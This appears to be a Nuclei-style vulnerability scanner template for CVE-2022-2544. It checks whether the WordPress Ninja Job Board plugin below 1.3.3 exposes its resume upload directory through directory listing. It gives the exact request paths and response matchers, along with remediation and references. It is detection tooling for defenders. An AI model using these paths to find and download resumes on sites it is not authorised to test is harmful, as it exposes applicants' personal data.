id: CVE-2022-2544

info:
  name: WordPress Ninja Job Board < 1.3.3 - Direct Request
  author: tess
  severity: high
  description: WordPress Ninja Job Board plugin prior to 1.3.3 is susceptible to a direct request vulnerability. The plugin does not protect the directory where it stores uploaded resumes, making it vulnerable to unauthenticated directory listing which allows the download of uploaded resumes.
  impact: |
    An attacker can access sensitive files and potentially obtain sensitive information from the target system.
  remediation: |
    Update to the latest version of the WordPress Ninja Job Board plugin (1.3.3) to fix the vulnerability.
  reference:
    - https://plugins.trac.wordpress.org/changeset/2758420/ninja-job-board/trunk/includes/Classes/File/FileHandler.php?old=2126467&old_path=ninja-job-board%2Ftrunk%2Fincludes%2FClasses%2FFile%2FFileHandler.php
    - https://wpscan.com/vulnerability/a9bcc68c-eeda-4647-8463-e7e136733053
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-2544
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2544
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-2544
    cwe-id: CWE-425
    epss-score: 0.34469
    epss-percentile: 0.97066
    cpe: cpe:2.3:a:wpmanageninja:ninja_job_board:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wpmanageninja
    product: ninja_job_board
    framework: wordpress
  tags: cve2022,cve,ninja,exposure,wpscan,wordpress,wp-plugin,wp,wpmanageninja,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp/wp-content/uploads/wpjobboard/"
      - "{{BaseURL}}/wp-content/uploads/wpjobboard/"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Index of /wp/wp-content/uploads/wpjobboard"
          - "Index of /wp-content/uploads/wpjobboard"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100dacd91f1d4dacef44d5c020c75904fb8cfe61c72e949a5878d0279696a1f074e022100f2678a1846142fd7cad77cfd8ac6fb2702ecaa6aa9d1f7374d830672f952e81d:922c64590222798bb761d5b6d8e72950